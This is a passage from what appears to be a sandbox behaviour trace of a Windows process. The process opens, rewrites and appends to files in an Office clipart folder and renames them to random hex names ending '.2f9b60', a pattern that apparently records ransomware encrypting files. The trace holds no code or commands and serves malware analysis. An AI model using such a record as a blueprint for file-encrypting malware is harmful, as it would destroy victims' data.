_Dest="5d") returned 2 [0164.562] sprintf (in: _Dest=0x1b7aa268, _Format="%c%c" | out: _Dest="b3") returned 2 [0164.562] sprintf (in: _Dest=0x1b7aa26a, _Format="%c%c" | out: _Dest="ce") returned 2 [0164.562] sprintf (in: _Dest=0x1b7aa26c, _Format="%c%c" | out: _Dest="56") returned 2 [0164.562] sprintf (in: _Dest=0x1b7aa26e, _Format="%c%c" | out: _Dest="e3") returned 2 [0164.562] sprintf (in: _Dest=0x1b7aa270, _Format="%c%c" | out: _Dest="67") returned 2 [0164.563] sprintf (in: _Dest=0x1b7aa272, _Format="%c%c" | out: _Dest="ee") returned 2 [0164.563] sprintf (in: _Dest=0x1b7aa274, _Format="%c%c" | out: _Dest="d0") returned 2 [0164.563] sprintf (in: _Dest=0x1b7aa276, _Format="%c%c" | out: _Dest="cb") returned 2 [0164.563] sprintf (in: _Dest=0x1b7aa278, _Format="%c%c" | out: _Dest="e7") returned 2 [0164.563] sprintf (in: _Dest=0x1b7aa27a, _Format="%c%c" | out: _Dest="86") returned 2 [0164.563] sprintf (in: _Dest=0x1b7aa27c, _Format="%c%c" | out: _Dest="35") returned 2 [0164.563] sprintf (in: _Dest=0x1b7aa27e, _Format="%c%c" | out: _Dest="ef") returned 2 [0164.563] sprintf (in: _Dest=0x1b7aa280, _Format="%c%c" | out: _Dest="a9") returned 2 [0164.563] sprintf (in: _Dest=0x1b7aa282, _Format="%c%c" | out: _Dest="f3") returned 2 [0164.563] sprintf (in: _Dest=0x1b7aa284, _Format="%c%c" | out: _Dest="6b") returned 2 [0164.563] sprintf (in: _Dest=0x1b7aa286, _Format="%c%c" | out: _Dest="98") returned 2 [0164.563] sprintf (in: _Dest=0x1b7aa288, _Format="%c%c" | out: _Dest="4b") returned 2 [0164.563] sprintf (in: _Dest=0x1b7aa28a, _Format="%c%c" | out: _Dest="e4") returned 2 [0164.563] sprintf (in: _Dest=0x1b7aa28c, _Format="%c%c" | out: _Dest="23") returned 2 [0164.563] sprintf (in: _Dest=0x1b7aa28e, _Format="%c%c" | out: _Dest="c0") returned 2 [0164.563] RtlInitAnsiString (in: DestinationString=0x2e61f708, SourceString="ddf90a5db3ce56e367eed0cbe78635efa9f36b984be423c0" | out: DestinationString="ddf90a5db3ce56e367eed0cbe78635efa9f36b984be423c0") [0164.563] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e61f6d8, SourceString="ddf90a5db3ce56e367eed0cbe78635efa9f36b984be423c0", AllocateDestinationString=1 | out: DestinationString="ddf90a5db3ce56e367eed0cbe78635efa9f36b984be423c0") returned 0x0 [0164.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ce14ce0 [0164.564] RtlFreeAnsiString (AnsiString="d") [0164.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa260) returned 1 [0164.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d180) returned 1 [0164.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4840) returned 1 [0164.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c14e10) returned 1 [0164.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18a80) returned 1 [0164.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18ab0) returned 1 [0164.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18a50) returned 1 [0164.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18a20) returned 1 [0164.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdcf0) returned 1 [0164.586] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4780) returned 1 [0164.586] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f47b0) returned 1 [0164.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x42c30590 [0164.587] wcscat (in: _Dest=0x42c30590, _Source="ddf90a5db3ce" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ddf90a5db3ce") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ddf90a5db3ce" [0164.587] wcscat (in: _Dest=0x42c30590, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ddf90a5db3ce.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ddf90a5db3ce.2f9b60" [0164.587] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ddf90a5db3ce.2f9b60", NtPathName=0x2e61f6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ddf90a5db3ce.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x106640 Thread: id = 2385 os_tid = 0x1da8 [0150.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf")) returned 0x20 [0150.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF", dwFileAttributes=0x20) returned 1 [0150.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21fc [0150.443] GetFileSizeEx (in: hFile=0x21fc, lpFileSize=0x2e53fb40 | out: lpFileSize=0x2e53fb40*=6958) returned 1 [0150.443] SetFilePointerEx (in: hFile=0x21fc, liDistanceToMove=0x1b2a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.443] ReadFile (in: hFile=0x21fc, lpBuffer=0x2e53fac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e53fb08, lpOverlapped=0x0 | out: lpBuffer=0x2e53fac0*, lpNumberOfBytesRead=0x2e53fb08*=0x4, lpOverlapped=0x0) returned 1 [0150.444] SetFilePointerEx (in: hFile=0x21fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe620 [0150.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4750 [0150.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f47e0 [0150.445] NtQuerySystemTime (in: CurrentTime=0x2e53fa00 | out: CurrentTime=0x2e53fa00*=132462177556486000) returned 0x0 [0150.445] RtlRandomEx (in: Seed=0x2e53f9f0 | out: Seed=0x2e53f9f0) returned 0x11725418 [0150.445] RtlRandomEx (in: Seed=0x2e53f9f0 | out: Seed=0x2e53f9f0) returned 0x42ea0c53 [0150.445] RtlRandomEx (in: Seed=0x2e53f9f0 | out: Seed=0x2e53f9f0) returned 0x5f6e1eb6 [0150.445] RtlRandomEx (in: Seed=0x2e53f9f0 | out: Seed=0x2e53f9f0) returned 0x27faf17f [0150.445] RtlRandomEx (in: Seed=0x2e53f9f0 | out: Seed=0x2e53f9f0) returned 0x18979363 [0150.445] RtlRandomEx (in: Seed=0x2e53f9f0 | out: Seed=0x2e53f9f0) returned 0x747153d5 [0150.445] RtlRandomEx (in: Seed=0x2e53f9f0 | out: Seed=0x2e53f9f0) returned 0x3a76e8f2 [0150.445] RtlRandomEx (in: Seed=0x2e53f9f0 | out: Seed=0x2e53f9f0) returned 0x164800b3 [0150.445] RtlRandomEx (in: Seed=0x2e53f9f0 | out: Seed=0x2e53f9f0) returned 0xc67a9d2 [0150.445] RtlRandomEx (in: Seed=0x2e53f9f0 | out: Seed=0x2e53f9f0) returned 0x45140df4 [0150.445] RtlRandomEx (in: Seed=0x2e53f9f0 | out: Seed=0x2e53f9f0) returned 0x37e618cd [0150.445] RtlRandomEx (in: Seed=0x2e53f9f0 | out: Seed=0x2e53f9f0) returned 0x6f1df0ec [0150.445] RtlRandomEx (in: Seed=0x2e53f9f0 | out: Seed=0x2e53f9f0) returned 0x778f1c03 [0150.445] RtlRandomEx (in: Seed=0x2e53f9f0 | out: Seed=0x2e53f9f0) returned 0x562d56d1 [0150.445] RtlRandomEx (in: Seed=0x2e53f9f0 | out: Seed=0x2e53f9f0) returned 0x132e16f [0150.445] RtlRandomEx (in: Seed=0x2e53f9f0 | out: Seed=0x2e53f9f0) returned 0x4bc97e6c [0150.445] RtlRandomEx (in: Seed=0x2e53f9f0 | out: Seed=0x2e53f9f0) returned 0x3332f1e3 [0150.445] RtlRandomEx (in: Seed=0x2e53f9f0 | out: Seed=0x2e53f9f0) returned 0x9853ac2 [0150.445] RtlRandomEx (in: Seed=0x2e53f9f0 | out: Seed=0x2e53f9f0) returned 0x6104df81 [0150.445] RtlRandomEx (in: Seed=0x2e53f9f0 | out: Seed=0x2e53f9f0) returned 0xb6526d7 [0150.445] RtlRandomEx (in: Seed=0x2e53f9f0 | out: Seed=0x2e53f9f0) returned 0x3f3767fd [0150.445] RtlRandomEx (in: Seed=0x2e53f9f0 | out: Seed=0x2e53f9f0) returned 0x61ec7595 [0150.445] RtlRandomEx (in: Seed=0x2e53f9f0 | out: Seed=0x2e53f9f0) returned 0x4eb37e89 [0150.445] RtlRandomEx (in: Seed=0x2e53f9f0 | out: Seed=0x2e53f9f0) returned 0x2f3327d6 [0150.445] RtlRandomEx (in: Seed=0x2e53f9f0 | out: Seed=0x2e53f9f0) returned 0x5417a804 [0150.445] RtlRandomEx (in: Seed=0x2e53f9f0 | out: Seed=0x2e53f9f0) returned 0x327864bf [0150.445] RtlRandomEx (in: Seed=0x2e53f9f0 | out: Seed=0x2e53f9f0) returned 0x54a1de1e [0150.445] RtlRandomEx (in: Seed=0x2e53f9f0 | out: Seed=0x2e53f9f0) returned 0x24970492 [0150.445] RtlRandomEx (in: Seed=0x2e53f9f0 | out: Seed=0x2e53f9f0) returned 0x17f0077d [0150.445] RtlRandomEx (in: Seed=0x2e53f9f0 | out: Seed=0x2e53f9f0) returned 0xb73f231 [0150.446] RtlRandomEx (in: Seed=0x2e53f9f0 | out: Seed=0x2e53f9f0) returned 0xe2ed7a9 [0150.446] RtlRandomEx (in: Seed=0x2e53f9f0 | out: Seed=0x2e53f9f0) returned 0x3e9a85e9 [0150.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4810 [0150.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b430 [0150.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4840 [0150.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b430) returned 1 [0150.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f47e0) returned 1 [0150.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe620) returned 1 [0150.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420583d0 [0150.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b430 [0150.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe620 [0150.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe620) returned 1 [0150.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42479930 [0150.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4247d540 [0150.454] ReadFile (in: hFile=0x21fc, lpBuffer=0x42479930, nNumberOfBytesToRead=0x1b2e, lpNumberOfBytesRead=0x2e53f9f0, lpOverlapped=0x0 | out: lpBuffer=0x42479930*, lpNumberOfBytesRead=0x2e53f9f0*=0x1b2e, lpOverlapped=0x0) returned 1 [0150.455] SetFilePointerEx (in: hFile=0x21fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.455] WriteFile (in: hFile=0x21fc, lpBuffer=0x4247d540*, nNumberOfBytesToWrite=0x1b2e, lpNumberOfBytesWritten=0x2e53f9f4, lpOverlapped=0x0 | out: lpBuffer=0x4247d540*, lpNumberOfBytesWritten=0x2e53f9f4*=0x1b2e, lpOverlapped=0x0) returned 1 [0162.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18960 [0162.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18990 [0162.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18990) returned 1 [0162.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4247d540) returned 1 [0162.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42479930) returned 1 [0162.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b430) returned 1 [0162.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420583d0) returned 1 [0162.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c18990 [0162.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420583d0 [0162.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b430 [0162.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c189c0 [0162.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c189c0) returned 1 [0162.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c189c0 [0162.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c189f0 [0162.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18a20 [0162.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18a20) returned 1 [0162.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b430) returned 1 [0162.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420583d0) returned 1 [0162.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x42c14cf0 [0162.384] SetFilePointerEx (in: hFile=0x21fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.384] WriteFile (in: hFile=0x21fc, lpBuffer=0x42c14cf0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2e53fb10, lpOverlapped=0x0 | out: lpBuffer=0x42c14cf0*, lpNumberOfBytesWritten=0x2e53fb10*=0x10a, lpOverlapped=0x0) returned 1 [0164.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18870 [0164.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24520 [0164.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f46c0 [0164.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f46c0) returned 1 [0164.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d180 [0164.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f46c0 [0164.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f43c0 [0164.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f43c0) returned 1 [0164.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24520) returned 1 [0164.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18870) returned 1 [0164.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7aa260 [0164.537] sprintf (in: _Dest=0x1b7aa260, _Format="%c%c" | out: _Dest="c0") returned 2 [0164.537] sprintf (in: _Dest=0x1b7aa262, _Format="%c%c" | out: _Dest="6a") returned 2 [0164.537] sprintf (in: _Dest=0x1b7aa264, _Format="%c%c" | out: _Dest="5b") returned 2 [0164.537] sprintf (in: _Dest=0x1b7aa266, _Format="%c%c" | out: _Dest="27") returned 2 [0164.537] sprintf (in: _Dest=0x1b7aa268, _Format="%c%c" | out: _Dest="3b") returned 2 [0164.537] sprintf (in: _Dest=0x1b7aa26a, _Format="%c%c" | out: _Dest="d5") returned 2 [0164.537] sprintf (in: _Dest=0x1b7aa26c, _Format="%c%c" | out: _Dest="dd") returned 2 [0164.537] sprintf (in: _Dest=0x1b7aa26e, _Format="%c%c" | out: _Dest="3b") returned 2 [0164.537] sprintf (in: _Dest=0x1b7aa270, _Format="%c%c" | out: _Dest="7b") returned 2 [0164.537] sprintf (in: _Dest=0x1b7aa272, _Format="%c%c" | out: _Dest="d3") returned 2 [0164.537] sprintf (in: _Dest=0x1b7aa274, _Format="%c%c" | out: _Dest="94") returned 2 [0164.537] sprintf (in: _Dest=0x1b7aa276, _Format="%c%c" | out: _Dest="e3") returned 2 [0164.537] sprintf (in: _Dest=0x1b7aa278, _Format="%c%c" | out: _Dest="bb") returned 2 [0164.537] sprintf (in: _Dest=0x1b7aa27a, _Format="%c%c" | out: _Dest="4e") returned 2 [0164.537] sprintf (in: _Dest=0x1b7aa27c, _Format="%c%c" | out: _Dest="c6") returned 2 [0164.537] sprintf (in: _Dest=0x1b7aa27e, _Format="%c%c" | out: _Dest="57") returned 2 [0164.537] sprintf (in: _Dest=0x1b7aa280, _Format="%c%c" | out: _Dest="ad") returned 2 [0164.537] sprintf (in: _Dest=0x1b7aa282, _Format="%c%c" | out: _Dest="12") returned 2 [0164.538] sprintf (in: _Dest=0x1b7aa284, _Format="%c%c" | out: _Dest="33") returned 2 [0164.538] sprintf (in: _Dest=0x1b7aa286, _Format="%c%c" | out: _Dest="93") returned 2 [0164.538] sprintf (in: _Dest=0x1b7aa288, _Format="%c%c" | out: _Dest="24") returned 2 [0164.538] sprintf (in: _Dest=0x1b7aa28a, _Format="%c%c" | out: _Dest="1d") returned 2 [0164.538] sprintf (in: _Dest=0x1b7aa28c, _Format="%c%c" | out: _Dest="9d") returned 2 [0164.538] sprintf (in: _Dest=0x1b7aa28e, _Format="%c%c" | out: _Dest="4b") returned 2 [0164.538] RtlInitAnsiString (in: DestinationString=0x2e53fb88, SourceString="c06a5b273bd5dd3b7bd394e3bb4ec657ad123393241d9d4b" | out: DestinationString="c06a5b273bd5dd3b7bd394e3bb4ec657ad123393241d9d4b") [0164.538] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e53fb58, SourceString="c06a5b273bd5dd3b7bd394e3bb4ec657ad123393241d9d4b", AllocateDestinationString=1 | out: DestinationString="c06a5b273bd5dd3b7bd394e3bb4ec657ad123393241d9d4b") returned 0x0 [0164.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ce14c70 [0164.539] RtlFreeAnsiString (AnsiString="c") [0164.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa260) returned 1 [0164.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d180) returned 1 [0164.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f46c0) returned 1 [0164.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c14cf0) returned 1 [0164.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c189c0) returned 1 [0164.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c189f0) returned 1 [0164.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18990) returned 1 [0164.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18960) returned 1 [0164.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4750) returned 1 [0164.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4810) returned 1 [0164.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4840) returned 1 [0164.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x42c304f0 [0164.542] wcscat (in: _Dest=0x42c304f0, _Source="c06a5b273bd5" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c06a5b273bd5") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c06a5b273bd5" [0164.542] wcscat (in: _Dest=0x42c304f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c06a5b273bd5.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c06a5b273bd5.2f9b60" [0164.542] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c06a5b273bd5.2f9b60", NtPathName=0x2e53fb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c06a5b273bd5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20278530 Thread: id = 2386 os_tid = 0x1dac [0150.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ed6ebb2703c3.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed6ebb2703c3.2f9b60")) returned 0x20 [0150.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ed6ebb2703c3.2f9b60", dwFileAttributes=0x20) returned 1 [0150.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ed6ebb2703c3.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed6ebb2703c3.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2200 [0150.460] GetFileSizeEx (in: hFile=0x2200, lpFileSize=0x2b5dfae0 | out: lpFileSize=0x2b5dfae0*=13054) returned 1 [0150.460] SetFilePointerEx (in: hFile=0x2200, liDistanceToMove=0x32fa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.460] ReadFile (in: hFile=0x2200, lpBuffer=0x2b5dfa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b5dfaa8, lpOverlapped=0x0 | out: lpBuffer=0x2b5dfa60*, lpNumberOfBytesRead=0x2b5dfaa8*=0x4, lpOverlapped=0x0) returned 1 [0150.461] FlushFileBuffers (hFile=0x2200) returned 1 [0150.463] CloseHandle (hObject=0x2200) returned 1 [0150.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ed6ebb2703c3.2f9b60", dwFileAttributes=0x20) returned 1 [0150.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507170) returned 1 Thread: id = 2387 os_tid = 0x1db0 [0150.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\edd81f4eb196.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\edd81f4eb196.2f9b60")) returned 0x20 [0150.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\edd81f4eb196.2f9b60", dwFileAttributes=0x20) returned 1 [0150.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\edd81f4eb196.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\edd81f4eb196.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2200 [0150.475] GetFileSizeEx (in: hFile=0x2200, lpFileSize=0x2d94f7a0 | out: lpFileSize=0x2d94f7a0*=5242) returned 1 [0150.475] SetFilePointerEx (in: hFile=0x2200, liDistanceToMove=0x1476, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.475] ReadFile (in: hFile=0x2200, lpBuffer=0x2d94f720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d94f768, lpOverlapped=0x0 | out: lpBuffer=0x2d94f720*, lpNumberOfBytesRead=0x2d94f768*=0x4, lpOverlapped=0x0) returned 1 [0150.476] FlushFileBuffers (hFile=0x2200) returned 1 [0150.488] CloseHandle (hObject=0x2200) returned 1 [0150.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\edd81f4eb196.2f9b60", dwFileAttributes=0x20) returned 1 [0150.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506ef0) returned 1 Thread: id = 2388 os_tid = 0x1db4 [0150.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\edf2c5fc.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\edf2c5fc.2f9b60")) returned 0x20 [0150.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\edf2c5fc.2f9b60", dwFileAttributes=0x20) returned 1 [0150.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\edf2c5fc.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\edf2c5fc.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2200 [0150.495] GetFileSizeEx (in: hFile=0x2200, lpFileSize=0x2eadfda0 | out: lpFileSize=0x2eadfda0*=2520) returned 1 [0150.495] SetFilePointerEx (in: hFile=0x2200, liDistanceToMove=0x9d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.495] ReadFile (in: hFile=0x2200, lpBuffer=0x2eadfd20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2eadfd68, lpOverlapped=0x0 | out: lpBuffer=0x2eadfd20*, lpNumberOfBytesRead=0x2eadfd68*=0x4, lpOverlapped=0x0) returned 1 [0150.496] FlushFileBuffers (hFile=0x2200) returned 1 [0150.499] CloseHandle (hObject=0x2200) returned 1 [0150.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\edf2c5fc.2f9b60", dwFileAttributes=0x20) returned 1 [0150.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4e220) returned 1 Thread: id = 2389 os_tid = 0x1db8 [0150.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ee1b1d194319.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ee1b1d194319.2f9b60")) returned 0x20 [0150.505] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ee1b1d194319.2f9b60", dwFileAttributes=0x20) returned 1 [0150.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ee1b1d194319.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ee1b1d194319.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2200 [0150.508] GetFileSizeEx (in: hFile=0x2200, lpFileSize=0x241afa80 | out: lpFileSize=0x241afa80*=4656) returned 1 [0150.508] SetFilePointerEx (in: hFile=0x2200, liDistanceToMove=0x122c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.508] ReadFile 